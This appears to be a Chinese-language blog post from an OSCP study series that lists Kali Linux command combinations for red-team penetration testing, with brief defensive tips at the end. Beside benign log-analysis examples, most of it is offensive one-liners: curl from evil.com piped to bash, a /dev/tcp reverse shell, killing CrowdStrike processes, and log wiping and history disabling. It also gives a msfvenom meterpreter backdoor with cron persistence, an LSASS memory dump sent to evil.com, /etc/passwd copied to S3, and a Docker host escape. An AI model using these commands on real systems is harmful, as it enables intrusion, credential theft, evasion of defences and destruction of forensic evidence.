Home
avatar

静静

Day6 Kali常用命令

关注 泷羽Sec泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。

红队渗透测试常用命令的典型场景和用法

2025年4月7日 23点46分

Day2中简单列举了几个Shell基本命令作为练习,本节将列举这些常见命令的红队渗透(也包含防御场景)常用组合方法。

从官方下载log文件练习,这是官方为了配合课程给我们提供的课后练习,日志文件

wget www.offensive-security.com/pwk-files/access_log.txt.gz
gunzip access_log.txt.gz

1. grep - 快速过滤敏感信息

# 从日志中提取登录失败记录(爆破检测)
cat /var/log/auth.log | grep "Failed password"

# 搜索配置文件中的密码字段(敏感信息提取)
grep -r "password" /etc/ 2>/dev/null

# 过滤含特定关键词的HTTP请求(如SQL注入特征)
cat access.log | grep "select.*from"

image-20250408104416702

2. sed - 动态修改文件内容

# 删除日志中本机IP痕迹(反取证)
sed -i '/192.168.1.100/d' /var/log/nginx/access.log

# 替换webshell中的恶意特征码(绕过WAF)
sed -i 's/eval($_POST/process_data(/g' backdoor.php

image-20250408105306518

3. cut - 提取关键数据列

# 提取/etc/passwd中的用户名列表
cut -d: -f1 /etc/passwd

# 从CSV中提取子域名(信息收集)
cat targets.csv | cut -d',' -f3 | grep ".*\.example\.com"

# 提取ip
cat access_log.txt |  cut -d " " -f 1 | sort -u

# 看访问数量
cat access_log.txt |  cut -d " " -f 1 |sort | uniq -c
# 从多到少排序
cat access_log.txt |  cut -d " " -f 1 |sort | uniq -c |sort -run
# 筛查最高请求的攻击源是否攻击成功
cat access_log.txt| grep '208.68.234.99' | grep admin | uniq -c

image-20250408105356873

image-20250408110637119

image-20250408110752013

image-20250408110904462

image-20250408111003176

image-20250408111306388

4. awk - 高级文本分析与提取

# 统计访问日志中的高频IP(寻找攻击源)
awk '{print $1}' access.log | sort | uniq -c | sort -nr

# 提取HTTP响应码为200的请求(漏洞扫描)
cat access.log | awk '$9 == 200 {print $7}'

image-20250408111435236

image-20250408111519648

5. comm - 对比敏感文件差异

# 对比用户列表变化(检测后门账户)
comm -3 <(sort /etc/passwd) <(sort passwd.bak) 

6. diff / vimdiff - 分析配置变更

# 对比系统文件是否被篡改(如sshd_config)
diff /etc/ssh/sshd_config /backup/sshd_config_original

# 可视化对比两个版本Web代码(查找Webshell)
vimdiff index.php index.php.bak

7. ping - 快速存活检测

# 检测内网存活主机(C段探测)
for i in {1..254}; do ping -c1 192.168.1.$i | grep "bytes from" & done

8. wget / curl - 隐蔽传输文件

# 下载远程Payload并静默执行(无交互)
curl -s http://evil.com/shell.elf | bash

# 伪装User-Agent下载工具(绕过WAF)
wget -U "Mozilla/5.0" http://evil.com/nc.exe

9. axel - 多线程加速下载

# 快速拖取大型数据库备份文件(数据窃取)
axel -n 10 http://target.com/database.tar.gz

10. ps / kill - 进程管理

# 查找并杀死防护进程(如AV)
ps aux | grep "crowdstrike" | awk '{print $2}' | xargs kill -9

# 隐藏进程名启动反向Shell(避免ps暴露)
cp /bin/bash /tmp/.httpd && /tmp/.httpd -c "/bin/bash -i >& /dev/tcp/1.1.1.1/443 0>&1"

11. tail / watch - 实时监控日志

# 动态观察Apache错误日志(检测攻击触发情况)
tail -f /var/log/apache2/error.log | grep "PHP Warning"

# 监控新建立的网络连接(反溯源)
watch -n 1 "netstat -antup | grep ESTABLISHED"

12. history / alias - 隐藏操作痕迹

# 禁用历史记录(避免命令泄露)
unset HISTFILE; export HISTFILESIZE=0

# 创建高危命令别名(如快速清理日志)
alias cleanlogs='find /var/log -type f -exec shred -u {} \;'

13. jobs / fg - 后台任务管理

# 后台运行端口扫描工具(如masscan)
masscan -p1-65535 10.0.0.0/24 > results.txt &
jobs  # 查看后台任务
fg 1  # 调回前台继续操作

红队关键技巧

  1. 混淆命令:使用base64编码命令避免敏感字符串直接出现:
    echo "bHM=" | base64 -d | bash  # 执行"ls"
    image-20250408105852893
  2. 时间戳伪造:用touch -t修改文件时间戳躲避时间轴分析。
  3. 管道符绕过:利用|&&等符号组合命令绕过基础检测。

2025年4月7日 23点52分

进阶用法(后面会详细讲)

2025年4月8日 10点22分

以下是在渗透测试和溯源场景中,Kali Linux常用的命令组合与技巧,结合隐蔽性和实战需求整理成五大核心场景:

1. 信息收集与资产探测组合

命令工具nmap + grep + cut
用途:快速扫描目标网络并提取关键信息

# 扫描C段存活主机,提取开放80/443端口的IP
nmap -sn 192.168.1.0/24 | grep "Nmap scan report" | cut -d' ' -f5 > live_hosts.txt
nmap -p80,443 -iL live_hosts.txt -oX scan_results.xml

# 解析XML扫描结果,提取高危服务(如SSH、RDP)
grep -E 'portid="22"|portid="3389"' scan_results.xml | awk -F'\"' '{print $2":"$4}'

关键点
• 使用-sn参数避免触发端口扫描告警
• 结果输出为XML格式便于后续自动化处理

2. Web漏洞利用组合

命令工具nikto + sqlmap + curl
用途:自动化探测Web漏洞并验证利用

# 扫描目标网站漏洞
nikto -h http://target.com -output vuln_report.html

# 检测SQL注入并自动化获取数据库信息
sqlmap -u "http://target.com/index.php?id=1" --batch --dbs

# 利用漏洞上传Webshell(需结合编码绕过)
curl -X POST http://target.com/upload.php -F "file=@revshell.php" -H "User-Agent: Mozilla/5.0"

隐蔽技巧
• 在sqlmap中添加--random-agent伪装浏览器流量
• 使用base64编码Webshell内容绕过基础WAF检测

3. 权限维持与后门部署组合

命令工具msfvenom + systemctl + crontab
用途:生成隐蔽后门并实现持久化

# 生成加密的Linux反向Shell Payload
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=443 -f elf -o httpd --encrypt xor

# 部署后门并伪装为系统服务
mv httpd /usr/sbin/.httpd && chmod +x /usr/sbin/.httpd
systemctl enable apache2.service --now  # 利用合法服务掩护

# 添加定时任务维持权限(每小时连接一次)
(crontab -l 2>/dev/null; echo "0 * * * * /usr/sbin/.httpd") | crontab -

隐蔽技巧
• 使用systemctl修改服务描述字段掩盖恶意进程
• 定时任务文件路径伪装为/etc/cron.daily/logrotate

4. 日志清理与反溯源组合

命令工具sed + find + shred
用途:擦除攻击痕迹并干扰时间线分析

# 删除SSH登录失败记录
sed -i '/Failed password/d' /var/log/auth.log

# 批量清除Web访问日志中本机IP
find /var/log/nginx/ -name "access.log*" -exec sed -i '/192.168.1.100/d' {} \;

# 物理删除临时文件(覆盖7次后销毁)
find /tmp/ -name "*.php" -exec shred -u -z -n7 {} \;

关键点
• 优先操作日志轮转文件(如auth.log.1
• 使用shred代替rm彻底破坏文件恢复可能性

5. 内网横向移动组合

命令工具impacket-psexec + proxychains + smbmap
用途:通过凭证重用突破内网边界

# 扫描内网SMB共享资源
proxychains smbmap -H 10.0.0.5 -u 'admin' -p 'P@ssw0rd'

# 利用PsExec执行远程命令(如抓取内存密码)
proxychains impacket-psexec admin:'P@ssw0rd'@10.0.0.5 "cmd /c rundll32.exe C:\windows\system32\comsvcs.dll MiniDump 648 C:\lsass.dmp full"

# 通过加密通道回传敏感数据
curl --socks5 127.0.0.1:9050 -F "file=@lsass.dmp" https://evil.com/upload

隐蔽技巧
• 使用DNS-over-HTTPS(DoH)隐藏C2通信
• 内存加载恶意代码避免磁盘文件写入(如Meterpreterreflectivedllinject

红队高阶技巧

  1. 流量伪装

    # 使用合法云服务API传输数据(如AWS S3)
    aws s3 cp /etc/passwd s3://bucket-backdoor/ --profile=legit_user
  2. 容器逃逸

    # 检测Docker环境并挂载宿主机目录
    findmnt | grep "/var/lib/docker" && docker run -v /:/mnt/host alpine chroot /mnt/host
  3. 硬件级隐蔽

    # 修改网卡MAC地址绕过IP封锁
    ip link set dev eth0 down && macchanger -r eth0 && ip link set dev eth0 up

防御对抗建议

日志监控:关注/var/log/auth.logsyslog的异常进程创建事件
进程防护:使用ps -auxf检查父进程异常的/usr/sbin/.httpd类服务
网络隔离:通过iptables限制非授权出站流量(如阻断TOR节点连接)

2025年4月8日 11点24分


🔔 想要获取更多网络安全与编程技术干货?

关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻

扫描下方二维码,马上加入我们,共同成长!🌟

👉 长按或扫描二维码关注公众号

或者直接回复文章中的关键词,获取更多技术资料与书单推荐!📚

Kali OSCP